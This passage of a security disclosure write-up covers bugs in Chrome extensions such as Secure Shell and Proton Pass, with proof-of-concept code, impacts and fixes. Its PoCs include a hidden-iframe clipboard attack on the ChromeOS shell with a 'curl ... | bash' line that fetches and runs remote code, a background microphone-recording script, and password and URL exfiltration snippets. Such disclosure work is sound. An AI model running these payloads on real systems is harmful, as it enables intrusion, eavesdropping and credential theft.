const openas = params.get('openas')reads theopenasvalue from the URL's query string, the part after the?.switch (openas)chooses what to do based on that value.case 'window'handles the case where the value iswindow: it removesopenasfrom the parameters so the new window does not loop, rebuilds the URL, opens a new window and closes the current one.case 'fullscreen'andcase 'maximized'handle those values by asking Chrome for the current window and then updating its state to the requested one. This is the part that changes the window without the user asking.
Repeatedly entering fullscreen was fixed by removing the opener reference. The opener is the link from a page to the window it opened; removing it stops the page from controlling that window again.
SOP bypass using the Form Troubleshooter extension
The extension adds a content script to all pages, which responds back with the DOM tree of the current document. The issue is that it accepts messages by any page that has a reference to the window:
window.addEventListener('message', async (event) => {
if (event.data?.message === 'iframe message') {
const messageType = event.data?.data?.type;
if (messageType === 'inspect') {
sendPostMessageResponse(event, await getDocumentTree(document));
}
[...]
}
});
Line by line:
window.addEventListener('message', async (event) => { ... })runs the code whenever a message arrives at the window.if (event.data?.message === 'iframe message')checks whether the message has the expected label. The?.means "if there is data, look at its message field".const messageType = event.data?.data?.typereads the type of request.if (messageType === 'inspect')checks whether the request is to inspect the page.sendPostMessageResponse(event, await getDocumentTree(document))sends back the page's DOM tree.awaitmeans wait for the tree to be built before replying.- The
[...]marks code left out of the quote.
This means that a page can get the document tree of any other page it has a reference to.
Steps to reproduce:
- Open https://example.com
- Run:
onmessage = console.log;
x = window.open('https://facebook.com');
setTimeout(() => {
x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);
Line by line:
onmessage = console.logmakes the page print any message it receives.x = window.open('https://facebook.com')opens another site in a new window and keeps a handle to it.setTimeout(() => { ... }, 1000)waits one second, giving the other page time to load.x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*')sends the inspect request to that other site.
- Observe that the document tree gets leaked.
Attack scenario:
- An attacker sends a link to the page with this payload to a victim who has the Form Troubleshooter extension installed.
- Once the victim opens the link, the attacker's page will be able to get the document tree of any web page that does not have an explicit Cross-Origin-Opener-Policy header (via
window.open) OR that does not prevent being framed (iframe).
This was fixed by adding an origin check.
URLs leak in Tag Assistant for Conversions Beta
Click the start button via the extension's popup, then go to https://example.org/?secret. In the context of the content script on an attacker controlled website:
chrome.runtime.sendMessage({messageType: 6}, (tabInfo) => {
for (let page in tabInfo.pages) {
console.log(tabInfo.pages[page].info.url);
}
});
Line by line:
chrome.runtime.sendMessage({messageType: 6}, ...)sends a message of type 6, which the extension treats as a request for tab information.(tabInfo) => { ... }is the function that runs with the reply.for (let page in tabInfo.pages)goes through every page in the reply.console.log(tabInfo.pages[page].info.url)prints the URL of each one.
An alternative way, a leak on navigation:
chrome.runtime.onMessage.addListener((e) => {
console.log(JSON.stringify(e));
});
Line by line:
chrome.runtime.onMessage.addListener((e) => { ... })listens for messages the extension sends out.console.log(JSON.stringify(e))prints the whole message as text, which includes the URL the user navigated to.
Attack scenario: a compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token, and other data, such as cookie names.
Long Descriptions in Context Menu
Steps to reproduce:
- Install the extension.
- Open
https://vuln-long-desc-extension.websec.blog/poc.html.
<body
longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
<h1 style="pointer-events: none;">
Right click and select "Open Long Description In New Tab"
</h1>
</body>
Line by line:
<body longdesc="...">sets thelongdescattribute of the page body.longdescis an old HTML attribute meant to point at a longer description of an image or page.- The value is a
chrome-extension://address pointing at a page inside the Secure Shell extension, so the extension will open that page. <h1 style="pointer-events: none;">shows a heading that ignores mouse clicks, so clicks pass through to whatever is underneath.- The text tells the user to right-click and choose the menu item.
- Right click and select "Open Long Description In New Tab".
Attack scenario:
- The victim opens the attacker's website and clicks the context menu item.
- A new tab with an arbitrary URL will be created with
sec-fetch-site: none, which can be abused to chain a full exploit, for example:- read local files, by opening a downloaded html file (deprecated) with a renderer exploit or via XSLeaks.
- bypass web accessible resources navigation restrictions.
A new tab with an arbitrary URL will be created with sec-fetch-site: none. XSLeaks is a family of techniques that infer private information from small timing or layout differences, without reading the data directly.
The rationale given for the reward decision: for bugs which require a renderer exploit, Google usually offers financial rewards for bugs which only require a single user interaction (i.e. a click), because a bug which requires multiple user interactions from a victim is normally not used with a renderer exploit (due to likelihood of unsuccessful attacks, there is more risk of a renderer exploit being wasted). Google also looked at the 2 attack scenarios provided. On achieving UXSS by navigating to a javascript: URI and using a renderer exploit: the bug mentioned is already fixed by Chrome, and therefore Google does not believe UXSS is possible with this bug, but is happy to be proven wrong. On reading local files by opening a downloaded html file with a renderer exploit, Google believes the following steps are necessary: download a malicious HTML file, ask the user to right-click and click "Open Long Description In New Tab", which opens the malicious HTML file downloaded in step 1, and it can now read other files. This means that on top of the multiple user interactions requirement in step 2, download of a malicious file in step 1 is also visible to the victim, so the likelihood of a successful attack further decreases. Google thanked the researcher, calling it definitely a valid bug.
UXSS using the Gerrit FE Dev Helper with a compromised renderer
- Install the extension.
- Open https://example.com/.
- Open the DevTools console and select the "Gerrit FE Dev Helper" context. DevTools is the browser's built-in toolkit for developers, and the console is where you type code to run.
- Run:
chrome.storage.sync.set({
rules: [
{
destination: 'alert(window.origin)',
disabled: false,
isNew: false,
operator: 'injectJSCode',
target: ''
}
]
});
// Now open a tab (https://google.com) and click the extension action icon
Line by line:
chrome.storage.sync.set({...})saves a new rule into the extension's synced storage.rules: [ ... ]is the list of rules the extension will apply.destination: 'alert(window.origin)'is the code that will be injected. It pops up a box showing the page's origin.disabled: falsemeans the rule is active.isNew: falsemarks it as an existing rule rather than a newly added one.operator: 'injectJSCode'says what the rule does: inject JavaScript.target: ''is the pattern of pages the rule applies to; empty means all.- The comment says to open a tab and click the extension's icon, which makes the extension apply its rules.
This can also be done via chrome.runtime.sendMessage. Attack scenario: if the victim visits a site that has a compromised renderer (can access the content script) and enables the extension, the site will be able to bypass the same-origin policy. The fix is unverified.
AMP Readiness Tool
window.onclick = () => {
open('https://www.google.com');
setTimeout(() => {
chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, (e) => {
console.log(e.html);
});
}, 3000);
};
Line by line:
window.onclick = () => { ... }runs the code when the user clicks anywhere on the page.open('https://www.google.com')opens Google in a new tab.setTimeout(() => { ... }, 3000)waits three seconds, giving that tab time to load.chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, ...)asks the extension for the apps it found on a tab.(e) => { console.log(e.html); }prints the HTML the extension sends back.
URLs leak in Web Vitals
chrome.[redacted].get(null, (results) => {
for (let hash in results) {
console.log(results[hash].location);
}
});
Line by line:
chrome.[redacted].get(null, ...)reads everything in the extension's local storage.nullmeans no filter.(results) => { ... }runs with the stored data.for (let hash in results)goes through each stored entry.console.log(results[hash].location)prints thelocationfield of each entry, which is the address of a visited page.
This was fixed in the web-vitals-extension repository.
Site usage data leak in Chrome Reporting Extension
In the context of the content script on an attacker controlled site run:
chrome.[redacted].get('activeSites', (e) => {
for (let url in JSON.parse(e.activeSites)) console.log(url);
});
Line by line:
chrome.[redacted].get('activeSites', ...)reads the stored entry namedactiveSites.(e) => { ... }runs with the result.JSON.parse(e.activeSites)turns the stored text back into a JavaScript object.for (let url in ...) console.log(url)prints each key, which is a visited URL.
Attack scenario: a compromised renderer can leak visited URLs (origin + pathname), enough to leak unlisted Google Doc IDs. The pathname is the part of the URL after the domain, and an unlisted document is one that is not public but can be opened by anyone who has the link.
SOP bypass with save to drive extension
The extension stores the folder ID of where to store files in chrome.storage.sync; with a compromised renderer this can leak their folder if it's set to "with a link" and changed to an attacker controlled value. This can only happen after the content script is injected, which happens when the user clicks the extension icon or uses upload.html directly from a browser extension.
To get the attacker's chosen page saved:
chrome-extension://gmbmikajjgmnabiglmofipeabaddhgne/upload.html?aid=image-entire&tid=<TabID>
This URL opens the extension's upload page. aid is the action id, which says what to save, and tid is the tab id, which says which tab to take it from. By changing the action id aid from image-entire to html, it will leak the source code of the page to the folder. This is exploitable from a browser extension with the Tabs API. To spoof the context menu and trick the user into leaking an unexpected URL:
<img src="https://github.com/opensearch.xml" />
Line by line:
<img src="..." />shows an image whose address is a file on GitHub. The file is not really an image, but the browser will still fetch it.- When the user right-clicks and chooses "save image to drive", the extension saves that address, which is not what the user thinks they are saving.
Right click and save image to drive; this element could be overlapped with a duck image. Potential fix:
- Check content-type for an image.
- Don't include credentials unless the image is same-site (including redirects).
Attack scenario: a malicious attacker could exploit this to bypass SOP.
ChromeOS RCE via the Secure Shell extension
OS: ChromeOS (regular or dev mode). Dev mode allows shell access, regular mode allows only predefined commands. Requires the Secure Shell extension by Google to be installed; together with the old version they have over 1 million users. The extension exposes html/nassh.html as a web accessible resource, which can be used to access Crosh (ChromeOS shell) and can be embedded by any webpage without restrictions. This way, a malicious website can make the user interact with the shell without the user knowing. There is some user interaction required, but this could be made inconspicuous to the user by making it a part of a game, for example.
Steps to reproduce:
- Make sure the Secure Shell extension is installed.
- Open poc.html.
- Follow the instructions in the page (Ctrl+Shift+V, Enter, Ctrl+Shift+V, Enter).
- Notice that
cat /etc/passwd(or an arbitrary Linux command) has been executed.
Alternatively, you can right-click instead of Ctrl+Shift+V (poc-rightclick.html). If developer mode is enabled, the shell command runs and gives access to the system shell. In the regular user mode, the Crosh shell allows executing any of the predefined commands, which could possibly be exploited to gain access to the system shell. The PoC works best with dev mode enabled; in regular mode the shell command will fail, but the issue will still be demonstrated. Another potential attack vector would be to connect to devices in the local network that often have default credentials, for example html/nassh.html#[redacted].
The PoC page:
<!doctype html>
<html>
<head>
<style>
html,
body {
font-family: sans-serif;
overflow: hidden;
}
#croshFrame {
position: absolute;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
opacity: 0.000000001;
pointer-events: none;
}
#croshFrame.show {
opacity: 0.5;
}
#croshFrame.enablePointerEvents {
pointer-events: auto;
}
#instructions {
font-size: 2em;
font-weight: bold;
text-align: center;
}
#inputElem {
opacity: 0.000000001;
}
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>
(Frame will autoshow sometime around the last step. Use ?show to show
iframe on page load. Use ?danger to run remote bash script.)
</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem" />
<iframe id="croshFrame"></iframe>
<script>
var showFrame = () => {
croshFrame.classList.add('show');
};
var shouldShow = window.location.search.indexOf('show') > -1;
if (shouldShow) {
showFrame();
}
var setClipboard = async (text) => {
const type = 'text/plain';
const blob = new Blob([text], {type});
const data = [new ClipboardItem({[type]: blob})];
await navigator.clipboard.write(data);
};
var setupPayload1 = () => {
console.info('Setup payload 1');
var setPayload1 = async () => {
console.info('Setting payload 1');
var clipboardSuccess = false;
try {
var dangerZone = window.location.search.indexOf('danger') > -1;
if (dangerZone) {
// Use payload below if you trust me (does nothing malicious)
await setClipboard(
'shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash'
);
} else {
await setClipboard('shell || cat /etc/passwd');
}
clipboardSuccess = true;
} catch (e) {
instructions.innerText = 'Please press space or any letter key.';
}
if (clipboardSuccess) {
window.removeEventListener('keydown', setPayload1);
croshFrame.src =
'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
instructions.innerText = 'Please wait...';
}
};
window.addEventListener('keydown', setPayload1);
};
var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
// First load isn't a usable prompt
frameLoadCount++;
if (frameLoadCount >= 2) {
setTimeout(() => {
// Slight delay to allow crosh to initialize and be ready for input
// Ctrl+J can also be used instead of Enter.
instructions.innerText =
'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
setTimeout(() => {
showFrame();
croshFrame.classList.add('enablePointerEvents');
}, 8000);
}, 500);
}
});
setupPayload1();
// Focus page so we get user activation with first valid keypress every time
inputElem.focus();
</script>
</body>
</html>
- The
<style>block sets the layout.#croshFrameis the iframe that will hold Crosh. It is positioned over the whole window, butopacity: 0.000000001makes it effectively invisible, andpointer-events: nonemeans the mouse cannot interact with it. The.showclass raises the opacity to 0.5, and.enablePointerEventsturns mouse interaction back on. #inputElemis a text input that is also almost invisible. It exists so the page can receive keyboard focus.showFrameadds theshowclass to the iframe.shouldShowchecks whether the URL containsshow, and if so reveals the frame immediately.setClipboardwrites text to the clipboard. It builds aBlob(a chunk of data) of typetext/plain, wraps it in aClipboardItem, and callsnavigator.clipboard.write. This is the browser's clipboard API.setupPayload1registerssetPayload1to run on the first key press.setPayload1checks whether the URL containsdanger. If it does, it copies a command that downloads and runs a remote bash script; otherwise it copiesshell || cat /etc/passwd. The||means "if the first command fails, run the second". If copying fails (for example because the browser requires a user gesture), it asks the user to press a key. On success it removes the key listener, loadshtml/nassh.html#croshinto the iframe, and tells the user to wait.frameLoadCountand theloadlistener count how many times the iframe has loaded. The first load is not a usable prompt, so only from the second load does it show instructions: press Ctrl+Shift+V, then Enter, twice. After 8 seconds it reveals the frame and enables pointer events.setupPayload1()starts the whole thing, andinputElem.focus()makes sure the page has keyboard focus so the first key press counts as user activation.
In production mode (no shell available) with Linux enabled, the following impacts are confirmed. An attacker can open a Linux shell either in the Termina VM or within a container. A VM is a virtual machine, a computer simulated inside your computer; a container is a lighter, isolated environment that shares the same system. Once the attacker has a Linux shell, an attacker can run an arbitrary shell script with a single copy/paste step. Using a script or running arbitrary containers can reduce the number of steps shown below (which are for manual repro, so has more verbose steps).
To get a Linux shell in the Termina VM, run in crosh: vmc start termina. To get a Linux shell in a container, run in crosh: vmc container termina test-t1 --timeout 120 (note that vmc container commands usually need higher timeouts on the researcher's physical Chromebook). The malicious payloads can be run on a delay or in the background, so they don't necessarily occur when the user is still on the attacker page, which can make some attacks more difficult to detect and stop.
Run arbitrary container
Arbitrary containers can run attacker commands without further user input, which can save a copy/paste step and save setup time in more complex attacks (since the attacker doesn't need to set up the default container with their tools). The researcher had not prepared a custom image, so the Arch Linux image is used as an example, but this can be an attacker-controlled server and container. An image is a ready-made package of an operating system.
Repro steps in crosh, based on the Arch Linux Crostini wiki steps:
- In crosh, run
vmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120.
After running the command above, the container will be run on the target device. Because Arch doesn't have the ChromeOS guest tools, you will see an error message, but this can be disregarded. If you go into the VM with vsh termina in crosh, then run lxc list in the VM, you will see the Arch container is running. You can further verify this by running lxc exec arch -- bash in the VM.
Open arbitrary URL or file in browser if path is known
Repro steps in crosh:
- In crosh, run
vmc container termina penguin. - Within the container, run
/opt/google/cros-containers/bin/garcon --client --url file:///mnt/chromeos/MyFiles/Downloads/file.txt.
This bypasses the popup blocker and bypasses restrictions that prevent web pages from opening file URLs. A popup blocker is the browser feature that stops pages from opening windows on their own. It can open arbitrary http(s), file, data, ftp and mailto URLs. The allowed schemes are defined in ash/dbus/url_handler_service_provider.cc, and the calls are rate-limited to 10 calls per 15 seconds in container_listener_impl.cc.
Read/write from known directories within MyFiles
Arbitrary read/write of user files if we know the directory name within MyFiles. A default directory is the "Downloads" folder, which is likely to contain sensitive data for many users. This can be used to exfiltrate data or tamper with files within the mounted directories. To exfiltrate means to copy data out to somewhere the attacker controls.
Repro steps in crosh:
- In crosh, run
vmc share termina Downloads.
This mounts the directory in the VM at /mnt/shared/MyFiles/Downloads/ and also mounts it in the container at /mnt/chromeos/MyFiles/Downloads/. To mount means to make a folder available inside another system. Once mounted, an attacker can access these by running code within the VM or container (attacker's choice). Path traversal and other bad paths are checked in seneschal/service.cc; Service::SharePath() is called with SharePathRequest::MY_FILES.
Capture microphone input
Repro steps in crosh:
- In crosh,
vmc start termina --enable-audio-capture. - In crosh,
vmc container termina test-t1 --timeout 120(you may need to try this several times until the container is running; error messages can be misleading). - In the container,
sudo apt install sox. - In the container,
rec -t alsa.
After step 4, observe the audio bars in the terminal showing input from the microphone. ChromeOS will also show a notification. The in-container commands can be automated if using an attacker-controlled container. ChromeOS shows a notification saying "Linux is using your microphone", which is hidden after a few seconds. The only ongoing indication of microphone access is a microphone icon in the notification tray, and the notification itself when you open the tray. When a user clicks the microphone access notification, the Settings app is opened to the Linux page; however, a user cannot revoke the microphone access on this screen, since the toggle will still be off for microphone access despite the container having access (which also sounds like something that should be fixed in the Settings app). The only way to stop this is to stop the container or VM, or for a more typical user, restart the whole system. You can stop it by running vmc stop termina in crosh.
Camera input is not supported by Termina VMs. It seems supported by ARC (Android), PluginVM (Parallels?) and Borealis (Steam) VMs. If any of these supported VMs are available in the target system and are accessible via crosh, an attacker may also be able to access the camera (unconfirmed, but seems likely based on code analysis).
As a demonstration of performing this in the background, replace steps 3 and 4 with the Bash script hosted at https://aogarantiza.com/chromium/crosh-payload-2.txt (which can be run by an attacker with curl ... | bash):
#!/bin/bash
run_payload() {
sleep 10
sudo apt install sox
sleep 10
rec -t alsa
}
echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &
Line by line:
#!/bin/bashtells the system to run the file with bash, the standard Linux shell.run_payload() { ... }defines a function, a named block of commands.sleep 10waits ten seconds.sudo apt install soxinstalls sox, a sound recording program.sleep 10waits another ten seconds.rec -t alsarecords audio from the sound system.echo "..."prints a message telling the user what is about to happen.run_payload &runs the function in the background, so the shell returns immediately and the recording continues even if the window is closed.
Set WireGuard configuration
The researcher is unsure if this is useful to an attacker. It is possible to set a WireGuard VPN config via the crosh wireguard command, but DNS does not work until "automatically configure network settings" is toggled in the GUI. A VPN is a private tunnel between your computer and a server, and DNS is the system that turns names like example.com into addresses. Maybe someone with more experience configuring WireGuard can figure out how to make this useful for an attacker; if it does work, it might allow attackers to tunnel traffic through their WireGuard server and potentially hijack DNS. No notification is shown when WireGuard is connected, but a notification is shown when it is disconnected.
This was fixed by adding frame-ancestors 'self'; to the extension's content_security_policy. frame-ancestors 'self' is a CSP rule that says only pages from the same origin may put this page in a frame.
Content injection / CSP-prevented XSS in the Secure Shell extension
- Download the Secure Shell extension.
- Go to
chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html?args=[redacted]=(this could be done directly or via a WAR bypass). - See cat.
The args from the URL gets base64 decoded and set as attributes for an html embed tag. While JS is prevented due to the CSP, it still allows for CSS. The decoded value is a JSON object with a style of background-image: url("https://http.cat/200") and a width and height of 1000.
Leaking passwords from Proton Pass
Due to site isolation it should be expected that an attacker controlled process (a content script) should not gain access to a different site's passwords since it would be process isolated. However, Proton Pass does not verify the sender of the EXPORT_REQUEST message, allowing a renderer bug to leak in unencrypted form all the user's passwords.
// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;
// Dump database
chrome.runtime.sendMessage(
{type: 'EXPORT_REQUEST', payload: {encrypted: false}},
(result) => {
console.log(atob(result.data));
}
);
Line by line:
f = document.createElement('iframe')creates a new iframe element.document.body.appendChild(f)puts it on the page.chrome = f.contentWindow.chromereaches into the iframe and takes itschromeobject, the object that gives access to extension functions. The comment calls this a way around Self-XSS, a warning some sites show when you paste code into your own console.chrome.runtime.sendMessage({type: 'EXPORT_REQUEST', payload: {encrypted: false}}, ...)asks the extension to export its data, explicitly asking for it unencrypted.(result) => { console.log(atob(result.data)); }takes the reply and decodes it from base64 withatob, then prints it.
While the data in chrome.[redacted] is shared to the content script which uses the same process as attacker controlled websites, this is in encrypted form so not that useful, but this could be improved by using the localStorage API directly in the background process. The researcher also thinks they saw an access token. MV3 service workers don't allow localStorage but there are other alternatives. The fixes are unverified.
UXSS by Google Optimize extension
Summary of the attack:
- Google Optimize has a "Global Javascript" feature.
- An attacker can set up this feature to execute malicious Javascript code on the site of their choosing.
- The attacker invites the user (with the Google Optimize extension installed) to their account, which causes this code to execute after redirecting to any site. The UXSS runs when you click on the blue edit button.
The token for the payload was stored in chrome.[redacted], so the user interaction (which got WAI) is not needed if you have a compromised renderer. A video demonstrates the flow.
Screenwise Meter
- Login CSRF (leaking browser activity).
- WAR bypass via
chrome.runtime.sendMessage. - Auth token leaked via
chrome.[redacted].
Mandiant Advantage | Threat Intelligence
Leaks slackWebhook, teamsWebhook and token to a compromised renderer via chrome.[redacted].
Root cause
The recurring mistake is trusting the sender. Several extensions accept messages from any page that can reach them, either because externally_connectable lists origins that anyone can host content on (https://storage.googleapis.com/*, or a pattern that matches insecure http:// subdomains), because a postMessage listener never checks event.origin, or because a runtime.onMessage handler never verifies who sent the message. In the Screen Reader case the origin check is missing and the command arguments are concatenated into a selector, so selector injection turns a click command into arbitrary DOM interaction. In the Secure Shell case the problem is exposure: html/nassh.html is a web accessible resource that any page can embed, and the extension's CSP did not restrict framing, so UI redress against Crosh was possible. UI redress is tricking a user into interacting with a page they did not mean to interact with. In the Perfetto case the extension is deliberately privileged (ExtensionIsTrusted) and its trace filtering is not perfect, so any origin allowed to talk to it inherits access to data that includes URLs and response headers with access tokens. In the storage cases, chrome.storage is readable from the content script's process, so a compromised renderer reads whatever was stored there, including folder IDs, visited URLs and tokens.
Existing defences did not stop these because site isolation does not separate a content script from the page in the same process, CSP blocks script but not CSS or framing, and origin allowlists are only as strong as the weakest origin on them. Where the write-up notes a downgrade (Tag Assistant Legacy), the reason is that the attack needs a compromised renderer.
Impact
The impacts, as stated for each finding:
- Application Launcher for Drive: RCE on the victim via a VBS script, reachable from any Google subdomain including insecure
http://ones, or from a browser extension or XSS on any Google subdomain. No Mark Of The Web is set on the opened file. - Perfetto UI: an attacker page on storage.googleapis.com can record and read browser traces containing Chrome logs, IPC flows, network logs and over 150 categories, with leaked URLs and response headers including access tokens from Authorization headers.
- Screen Reader: a page with a reference to any cross-origin page can click elements on it, bypassing SOP and enabling clickjacking even on pages with framing protections (except pages with COOP), for example granting a sensitive OAuth permission without the user's knowledge.
- Tag Assistant Legacy: a compromised renderer can bypass the same origin policy and leak visited URLs, which may contain sensitive data such as an access_token.
- Coding with Chrome: XSS on localhost, which may be trusted by applications since it refers to the user's local machine.
- Secure Shell (URL spoof): fullscreen without user interaction, including while the user is away, and fullscreen exit commands not working.
- Form Troubleshooter: a page can get the document tree of any other page it has a reference to, for pages without COOP (via
window.open) or that do not prevent being framed. - Tag Assistant for Conversions Beta: a compromised renderer can leak visited URLs, which may contain sensitive data such as an access_token, and other data such as cookie names.
- Long Descriptions in Context Menu: a new tab with an arbitrary URL and
sec-fetch-site: none, which can be chained, for example to read local files with a renderer exploit or via XSLeaks, or to bypass web accessible resources navigation restrictions. Google's rationale notes the multiple user interactions and the visible download reduce the likelihood of a successful attack. - Gerrit FE Dev Helper: with a compromised renderer and the extension enabled, the site can bypass the same-origin policy.
- AMP Readiness Tool: a compromised renderer can bypass the same origin policy.
- Web Vitals: a compromised renderer can leak visited URLs, which may contain sensitive data such as an access_token.
- Chrome Reporting Extension: a compromised renderer can leak visited URLs (origin + pathname), enough to leak unlisted Google Doc IDs.
- Save to Google Drive: a compromised renderer can leak the user's folder if it is set to "with a link" and change it to an attacker controlled value, and can leak the source code of a page to that folder; a spoofed context menu can trick the user into leaking an unexpected URL.
- Secure Shell on ChromeOS: with user interaction that can be disguised as part of a game, an attacker can run
cat /etc/passwdor an arbitrary Linux command, open a Linux shell in the Termina VM or a container, run arbitrary containers, open arbitrary URLs or files bypassing the popup blocker and file URL restrictions, read and write known directories within MyFiles such as Downloads, capture microphone input (with a notification that is hidden after a few seconds and a Settings toggle that cannot revoke it), and set a WireGuard configuration. Camera access is unconfirmed but seems likely on ARC, PluginVM and Borealis VMs. - Secure Shell content injection: CSS injection in the extension page; JS is prevented by CSP.
- Proton Pass: a renderer bug can leak all the user's passwords in unencrypted form.
- Google Optimize: UXSS on a site of the attacker's choosing, running when the user clicks the blue edit button, or without that interaction if the renderer is compromised.
- Screenwise Meter: login CSRF leaking browser activity, a WAR bypass, and an auth token leaked via
chrome.[redacted]. - Mandiant Advantage:
slackWebhook,teamsWebhookandtokenleaked to a compromised renderer.
Fix
What was changed, per finding:
- Application Launcher for Drive:
externally_connectablechanged to onlyhttps://docs.google.com/*andhttps://drive.google.com/*. Browser extensions with<all_urls>can still get an RCE with it (WAI). The write-up suggests addinghttps://*.google.comtoruntime_blocked_hosts. - Perfetto UI:
https://storage.googleapis.com/removed fromexternally_connectable. - Screen Reader: the
clickNodeRefmethod removed. - Tag Assistant Legacy: fixed, downgraded as it needs a compromised renderer.
- Coding with Chrome: accepted, deprecated.
- Secure Shell URL spoof: repeatedly entering fullscreen was fixed by removing the opener reference; partly fixed, not rewarded.
- Form Troubleshooter: an origin check added.
- Tag Assistant for Conversions Beta: partly fixed.
- Long Descriptions in Context Menu: accepted, not rewarded; Google's rationale is quoted above.
- Gerrit FE Dev Helper: unverified fix.
- Web Vitals: fixed in the web-vitals-extension repository.
- Chrome Reporting Extension: accepted, not rewarded.
- Save to Google Drive: accepted, not rewarded; potential fixes are checking the content-type for an image and not including credentials unless the image is same-site (including redirects).
- Secure Shell on ChromeOS:
frame-ancestors 'self';added to the extension'scontent_security_policy. - Secure Shell content injection: fixed.
- Proton Pass: unverified fixes.
- Google Optimize: deprecated.
- Screenwise Meter and Mandiant Advantage: no fix stated.
Variants to test
If you want to look for the same kinds of mistakes yourself, these are the patterns to search for:
- Grep every manifest for
externally_connectableentries pointing at origins anyone can host on, such ashttps://storage.googleapis.com/*,http://*.google.comor*://localhost/*. A positive result is a page you control on that origin that can open a port or send a message to the extension and get a meaningful response. To grep means to search text for a pattern. - Grep for
postMessagelisteners in content scripts and check whetherevent.originis verified. A positive result is a cross-origin window you opened responding to your message with data from its document. - Grep for
runtime.onMessagehandlers that act on commands without checkingsender. A positive result is a privileged action (export, click, navigation) triggered from a page you control. - Look for command arguments concatenated into selectors or HTML, as with
clickNodeRef. A positive result is a selector or markup fragment of your choosing reaching the DOM query orinnerHTML. - Check
web_accessible_resourcesfor pages that can be framed and that expose privileged UI such as a shell. A positive result is your page embedding the resource and driving it with keyboard or clipboard input. - Check
chrome.[redacted]andchrome.storage.synccontents from a content script context. A positive result is URLs, tokens, folder IDs or webhook URLs readable from a page you control. - Check
LoadScript-style messages for origin allowlists that can be bypassed with open redirects, and test which content types are accepted. A positive result is your script loading from an origin outside the allowlist. - Check
openas-style URL parameters that change window state. A positive result is the tab entering fullscreen without a user gesture. - Check
args-style base64 parameters applied as attributes. A positive result is CSS you control being applied inside the extension page even though script is blocked by CSP.
Credits
Alesandro Ortiz for help with the Secure Shell report and finding the Limited URL Spoof; Thomas Orlita for help with reports and the write-up; Missoum Said for finding the "Save to Drive" SOP bypass, the "Tag Assistant Legacy" URL leak, the localhost XSS, the Screenwise Meter bugs and the Google Optimize UXSS.
Glossary
- API: a set of functions one program offers to another so they can work together.
- Auth token: a string that proves who you are, like a temporary key.
- Base64: a way of writing any data using only letters, digits and a few symbols, so it can travel inside a URL or a text field.
- Bucket: a storage area in Google Cloud where anyone with an account can put files.
- Clickjacking: tricking a user into clicking something they cannot see.
- Compromised renderer: the part of the browser that draws pages has been taken over by an attacker.
- Container: a lightweight isolated environment that shares the computer's system.
- Content script: code an extension injects into a website you visit.
- Cookie: a small piece of data a site stores in your browser to recognise you later.
- COOP: Cross-Origin-Opener-Policy, a header that stops another page from keeping a handle on yours.
- CSP: Content Security Policy, a rule saying which scripts and resources a page may use.
- CSRF: cross-site request forgery, making the user's browser send a request the user did not intend.
- CSS: the language that controls how a page looks.
- DOM: the browser's internal tree of everything on a page.
- DWORD: a Windows registry value type that holds a number.
- Extension: a small program added to a browser to give it extra abilities.
- Externally connectable: the manifest setting listing which websites may send messages to an extension.
- Grep: to search text for a pattern.
- Iframe: a window inside a window, letting one page show another page inside itself.
- IPC: inter-process communication, the messages the browser's parts send to each other.
- Isolated world: a separate bubble inside a page where a content script's variables cannot be touched by the page's own code.
- Manifest: the settings file that describes what an extension may do.
- Mark of the Web: a marker Windows puts on files downloaded from the internet so it can warn you before running them.
- Mount: to make a folder available inside another system.
- OAuth: the system where a website asks Google for permission to access your account.
- Open redirect: a link on a trusted site that forwards you to any address you name.
- Origin: the combination of scheme, host and port, for example
https://example.com. - Pathname: the part of a URL after the domain.
- PoC: proof of concept, a demonstration that a bug is real.
- Popup blocker: the browser feature that stops pages from opening windows on their own.
- Process: the chunk of memory the computer sets aside to run a program.
- RCE: remote code execution, someone else getting your computer to run their code.
- Response header: extra information a web server sends back with its answer.
- Selector: a pattern used to pick elements out of the DOM.
- Service worker: background code in a newer extension, running separately from websites.
- Sink: a place where data gets turned into code or into a new page.
- Site isolation: the browser feature that keeps different websites in separate processes.
- SOP: same-origin policy, the browser rule that stops one website from reading another website's data.
- Trace: a detailed recording of what the browser did.
- UI redress: tricking a user into interacting with a page they did not mean to interact with.
- URL: the address of a page.
- UXSS: universal cross-site scripting, an XSS that runs in the context of any site.
- VM: virtual machine, a computer simulated inside your computer.
- VPN: a private tunnel between your computer and a server.
- WAR: web accessible resources, files inside an extension that any web page is allowed to load.
- Webhook: a URL that, when called, posts a message into a chat channel.
- XSS: cross-site scripting, getting your own JavaScript to run inside someone else's page.
- XSLeaks: techniques that infer private information from small timing or layout differences without reading the data directly.